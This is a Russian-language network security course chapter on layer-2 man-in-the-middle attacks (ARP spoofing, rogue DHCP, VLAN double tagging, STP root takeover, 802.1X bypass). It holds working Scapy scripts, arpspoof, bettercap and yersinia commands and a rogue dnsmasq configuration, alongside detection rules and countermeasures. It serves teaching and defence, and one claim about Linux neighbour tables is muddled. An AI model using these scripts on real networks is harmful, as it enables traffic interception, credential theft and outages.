Апокриф 02

Человек посередине на канальном уровне: ARP, DHCP, VLAN, STP, 802.1X

Человек посередине на канальном уровне: ARP, DHCP, VLAN, STP, 802.1X

Канальный уровень решает задачи, которые выше по стеку выглядят как данность: найти MAC-адрес по IP, получить адрес и маршрут по умолчанию, доставить кадр только в свой сегмент, не зациклить широковещательный шторм, пустить в порт только того, кому разрешено. Все эти механизмы проектировались для сети, где участники честны, а порт коммутатора — это физическая розетка в охраняемом помещении.

Как только в сегменте появляется чужое устройство, каждый из механизмов превращается в точку опоры. ARP не требует подтверждения, DHCP отвечает тот, кто успел, VLAN отделяет сегменты только на доверенном оборудовании, STP выбирает корень по наименьшему идентификатору, а 802.1X проверяет не человека, а устройство. Ни один из этих протоколов не аутентифицирует соседа криптографически — и именно поэтому канальный уровень остаётся самым дешёвым способом оказаться посередине.

Тема 04 основной программы разбирала Ethernet и коммутацию, тема 05 — VLAN и STP, тема 07 — ARP, тема 14 — DHCP. Здесь эти механизмы берутся в той части, где они доверяют входным данным. Границы: NDP и IPv6 — тема 03, атаки на TCP — тема 04. Всё, что ниже, происходит внутри одного широковещательного домена или на пути к нему.

Тень базового курса: протоколы без аутентификации

В основной программе ARP описан как простой и элегантный протокол: запрос «кто такой 192.0.2.1?» рассылается широковещательно, владелец отвечает своим MAC, все остальные запоминают пару. Элегантность в том, что ответ не требует подтверждения и принимается любым узлом, даже если запроса не было.

Именно это свойство — не ошибка реализации, а проектное решение 1982 года 1. В сети, где все участники доверяют друг другу, экономия на аутентификации оправдана. В сети, где появился чужой, она означает, что любой узел может объявить себя шлюзом, и трафик пойдёт через него.

Та же логика у DHCP: клиент кричит в широковещательный домен «дайте адрес», и отвечает первый, кто услышал. У STP: коммутатор верит BPDU, пришедшему в порт, и готов уступить корень тому, кто объявил себя лучшим. У 802.1X: порт открывается после обмена EAPOL, но сам обмен не защищён от подмены на кабеле. Дальше — по каждому механизму.

ARP: как работает и почему ломается

Запись в кеше и её состояния

Ядро Linux хранит соседей в таблице nd_tbl (для IPv4 — в arp_tbl), а состояние записи видно в ip neigh:

ip neigh show dev eth0
192.0.2.1 lladdr 02:42:ac:11:00:01 REACHABLE
192.0.2.20 lladdr 02:42:ac:11:00:14 STALE
192.0.2.99 lladdr 02:42:ac:11:00:63 FAILED

Состояния важны для атаки. REACHABLE означает, что запись подтверждена недавно; STALE — что подтверждение устарело, но запись используется; FAILED — что разрешение не удалось. По истечении gc_stale_time (по умолчанию 60 секунд) запись переходит в STALE, а gc_thresh ограничивает размер таблицы. Переполнение таблицы — отдельный приём: если забить её мусорными записями, новые разрешения начнут вытеснять старые, и часть трафика пойдёт через повторный ARP.

Gratuitous ARP — ответ без запроса, которым узел объявляет свой адрес. Он используется при смене MAC, при поднятии интерфейса и при отказоустойчивости. Проверка конфликта адресов (ACD, RFC 5227) тоже строится на нём: перед назначением адреса узел спрашивает, не занят ли он 7. Атакующий использует тот же механизм, чтобы перезаписать чужие записи.

Спуфинг и человек посередине

Идея проста: отправить жертве ARP-ответ, в котором адрес шлюза связан с MAC атакующего. Жертва обновит кеш и начнёт слать пакеты не шлюзу, а атакующему. Тот включает форвардинг, чтобы трафик не пропадал, и становится прозрачным посредником.

Обмен ARP-объявлениями при перехвате пути между жертвой и шлюзом
Два поддельных ARP-ответа меняют кеш жертвы и кеш шлюза, и трафик идёт через посредника
from scapy.all import ARP, Ether, sendp, get_if_hwaddr
import sys

iface = "eth0"
victim_ip, victim_mac = "192.0.2.10", "02:42:ac:11:00:0a"
gateway_ip, gateway_mac = "192.0.2.1", "02:42:ac:11:00:01"
attacker_mac = get_if_hwaddr(iface)

def poison(target_ip, target_mac, claimed_ip):
    pkt = Ether(dst=target_mac) / ARP(
        op=2, psrc=claimed_ip, pdst=target_ip,
        hwsrc=attacker_mac, hwdst=target_mac)
    sendp(pkt, iface=iface, verbose=False)

for _ in range(5):
    poison(victim_ip, victim_mac, gateway_ip)
    poison(gateway_ip, gateway_mac, victim_ip)

Разбор значимых строк: op=2 — ARP-ответ; psrc — адрес, который присваивается; hwsrc — MAC атакующего; кадр адресован конкретному получателю, чтобы не шуметь на весь сегмент. Повтор нужен потому, что запись в кеше живёт ограниченное время и может быть перезаписана настоящим шлюзом.

На практике то же самое делают готовыми инструментами:

arpspoof -i eth0 -t 192.0.2.10 192.0.2.1
bettercap -iface eth0 -eval "set arp.spoof.targets 192.0.2.10; arp.spoof on"

arpspoof шлёт поддельные ответы в обе стороны; bettercap добавляет перехват и логирование. Для трафика, который не шифруется, дальше достаточно tcpdump или встроенного сниффера: HTTP-запросы, FTP- и Telnet-пароли видны в открытом виде.

Обратная сторона — заметность. Поддельный ARP-ответ отличается от настоящего только содержанием, но частота выдаёт: два узла, объявляющих один адрес, — классический признак. arpwatch и журналы коммутатора фиксируют смену привязки.

ARP-шторм и proxy ARP

ARP-шторм — не атака, а следствие петли или ошибки: широковещательные запросы ходят по кругу и забивают полосу. Вред для атакующего двоякий: шторм заметен и мешает перехвату. Но он же маскирует поддельные ответы, если теряются в потоке.

Proxy ARP — штатный механизм, при котором маршрутизатор отвечает на ARP за адреса из другой сети. Включённый по ошибке на интерфейсе, он превращает маршрутизатор в точку перехвата для целой подсети, и обнаружить это можно только по таблице соседей и конфигурации.

DHCP: кто первым ответил

DORA и опции

DHCP-клиент проходит четыре шага: Discover (широковещательно), Offer (сервер предлагает адрес), Request (клиент просит его закрепить), Ack (сервер подтверждает). Вся четвёрка идёт до получения адреса, и в ней нет аутентификации 2.

Ключевые опции: 3 — маршрут по умолчанию, 6 — DNS-серверы, 15 — доменное имя, 119 — домен поиска, 121 — классless-маршруты. Подменив опцию 3 и 6, атакующий получает и путь трафика, и имена.

dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --dhcp-range=192.0.2.100,192.0.2.150,12h \
  --dhcp-option=3,192.0.2.66 \
  --dhcp-option=6,192.0.2.66 \
  --dhcp-option=15,nsu.example

Конфигурация поднимает сервер, который выдаёт адреса из своего пула и объявляет себя шлюзом и DNS. Если настоящий сервер отвечает медленнее, клиент примет предложение атакующего.

Голодание пула и подставной сервер

DHCP-голодание — отправка большого числа Discover с разными MAC. Каждый запрос резервирует адрес, пул исчерпывается, новые клиенты не получают адресов. Это отказ в обслуживании, но у него есть вторая роль: освободившееся место занимает подставной сервер, и клиенты, которые не смогли получить адрес у настоящего, приходят к нему.

yersinia dhcp -attack 1 -interface eth0

yersinia генерирует Discover с поддельными MAC; скорость ограничивается, чтобы не переполнить таблицу коммутатора раньше времени.

WPAD и опция 119

Опция 119 задаёт список доменов поиска. Клиент, которому нужно разрешить короткое имя, перебирает суффиксы и в какой-то момент запрашивает wpad.<домен>. Если атакующий отвечает на это имя, браузер и система могут автоматически забрать конфигурацию прокси по HTTP — и весь трафик пойдёт через него. Это не отдельная уязвимость, а следствие того, что WPAD включён по умолчанию во многих сборках.

Защита: отключить автоматическое определение прокси, не выдавать опцию 119 без необходимости, контролировать имена wpad в DNS.

VLAN и STP: границы сегмента

802.1Q, double tagging и native VLAN

Тег 802.1Q добавляет к кадру четыре байта: TPID 0x8100, приоритет, DEI и VID 3. Access-порт снимает тег при передаче клиенту, trunk-порт передаёт тегированными. Native VLAN — та, чьи кадры идут по trunk без тега; это компромисс совместимости, и он же — дыра.

Double tagging использует то, что коммутатор снимает только внешний тег. Кадр с двумя тегами: внешний — native VLAN, внутренний — целевая VLAN. Первый коммутатор снимает внешний тег и передаёт кадр дальше с внутренним, который второй коммутатор уже воспринимает как свой. Условие — совпадение native VLAN на первом транке и доступность целевой VLAN на втором.

from scapy.all import Ether, Dot1Q, IP, ICMP, sendp

pkt = (Ether(dst="02:42:ac:11:00:01") /
       Dot1Q(vlan=1) /
       Dot1Q(vlan=20) /
       IP(src="192.0.2.10", dst="192.0.2.20") /
       ICMP())
sendp(pkt, iface="eth0")

Первый тег — native VLAN, второй — целевая. Если коммутатор настроен на удаление только внешнего тега, кадр уйдёт во VLAN 20.

DTP и switch spoofing

DTP (Dynamic Trunking Protocol) — проприетарный протокол Cisco, который автоматически договаривается о транке. Порт в режиме dynamic auto или dynamic desirable может стать транком, если противоположная сторона попросит. Подделав DTP-кадры, атакующий получает транк и доступ ко всем VLAN.

Защита: switchport nonegotiate, явный access на клиентских портах, отключение неиспользуемых портов.

STP: корень, BPDU и topology change

STP строит дерево без петель, выбирая корневой мост с наименьшим bridge ID 6. BPDU — кадры, которыми обмениваются коммутаторы; они не аутентифицированы. Отправив BPDU с лучшим (меньшим) приоритетом, атакующий становится корнем и пропускает через себя трафик всех VLAN, которые проходят через его порт 4.

from scapy.all import Ether, LLC, STP, sendp

pkt = (Ether(dst="01:80:c2:00:00:00") /
       LLC(dsap=0x42, ssap=0x42, ctrl=3) /
       STP(rootid=0, bridgeid=0, rootpathcost=0))
sendp(pkt, iface="eth0", loop=1, inter=2)

rootid=0 и bridgeid=0 делают объявителя безусловно лучшим. Постоянная рассылка держит топологию в нестабильности: каждый BPDU с лучшим параметром вызывает пересчёт, и сеть проводит время в сходимости.

Topology Change Notification (TCN) — отдельный приём: частая смена топологии заставляет коммутаторы сокращать время жизни записей FDB, что увеличивает лавинную рассылку и облегчает перехват.

Защита: BPDU guard на клиентских портах, root guard на портах, где корень не должен появляться, bpdufilter там, где BPDU не нужны вовсе.

802.1X: контроль доступа на порту

EAPOL, MAB и обходы

802.1X открывает порт после успешной аутентификации: supplicant (клиент), authenticator (коммутатор) и authentication server (RADIUS) обмениваются EAP-сообщениями внутри EAPOL 5. До аутентификации порт пропускает только EAPOL.

MAB (MAC Authentication Bypass) — упрощённый режим: коммутатор сам отправляет MAC-адрес устройства в RADIUS как логин. Устройства без supplicant (принтеры, камеры) так получают доступ. Обход очевиден: подменить MAC на MAC доверенного устройства.

Другие приёмы: EAPOL logoff — отправить кадр завершения сеанса от имени жертвы, чтобы её порт закрылся; вставка хаба между supplicant и коммутатором — трафик проходит через атакующего уже после аутентификации; EAPOL-флуд — забить таблицу состояний коммутатора.

# подмена MAC на интерфейсе
ip link set eth0 down
ip link set eth0 address 02:42:ac:11:00:63
ip link set eth0 up

Защита: 802.1X с EAP-TLS и проверкой сертификата устройства, отключение MAB там, где он не нужен, macsec для шифрования канала, контроль EAPOL-кадров на портах.

Обнаружение и защита

ПриёмПризнакКонтрмера
ARP-спуфингодин IP у двух MAC, частая сменаDAI, arpwatch, статические записи
ARP-штормрост широковещательных кадровstorm control, поиск петли
Подставной DHCPOffer от неразрешённого сервераDHCP snooping, port security
DHCP-голоданиемного Discover с разными MACrate limit, snooping
Double taggingкадры с двумя тегамине использовать native VLAN для клиентов
DTPDTP-кадры на клиентском портуnonegotiate, явный access
Захват STPBPDU с лучшим приоритетомBPDU guard, root guard
802.1X-обходсмена MAC, EAPOL logoffMAB только по списку, EAP-TLS

Правило Suricata на поддельный DHCP-сервер:

alert udp !$DHCP_SERVERS 67 -> any 68 (msg:"DHCP rogue server offer"; \
  content:"|02|"; offset:0; depth:1; \
  classtype:attempted-admin; sid:1000010; rev:1;)

Правило опирается на список разрешённых DHCP-серверов; всё, что отвечает из другого адреса, считается подозрительным. В учебной сети список задаётся переменной DHCP_SERVERS.

Итоги темы

Канальный уровень держится на доверии: ARP верит ответу, DHCP — первому предложению, STP — лучшему BPDU, 802.1X — устройству на порту. Каждое из этих допущений в основной программе выглядело естественным, потому что сеть считалась дружественной; в апокрифе оно становится точкой входа.

Перехват на L2 дешевле любого другого: он не требует ни уязвимости, ни пароля, ни особых прав — только доступ в сегмент. Именно поэтому защита строится не на протоколе, а на инфраструктуре: DAI, DHCP snooping, port security, BPDU guard, 802.1X и, там где нужно, MACsec.

Следующая тема поднимается на уровень IP и разбирает, что происходит, когда чужой пакет приходит не в свой сегмент, а из сети.

Литература

  1. Plummer D. C. An Ethernet Address Resolution Protocol. — RFC 826, IETF, 1982. https://www.rfc-editor.org/rfc/rfc826
  2. Droms R. Dynamic Host Configuration Protocol. — RFC 2131, IETF, 1997. https://www.rfc-editor.org/rfc/rfc2131
  3. IEEE Standard for Local and Metropolitan Area Networks — Bridges and Bridged Networks. — IEEE 802.1Q-2018, 2018.
  4. IEEE Standard for Local and Metropolitan Area Networks — Media Access Control (MAC) Bridges. — IEEE 802.1D-2004, 2004.
  5. IEEE Standard for Local and Metropolitan Area Networks — Port-Based Network Access Control. — IEEE 802.1X-2020, 2020.
  6. Kurose J. F., Ross K. W. Computer Networking: A Top-Down Approach. 8th ed. — Pearson, 2021.
  7. Cheshire S., Krochmal M., Sekar K. IPv4 Address Conflict Detection. — RFC 5227, IETF, 2008. https://www.rfc-editor.org/rfc/rfc5227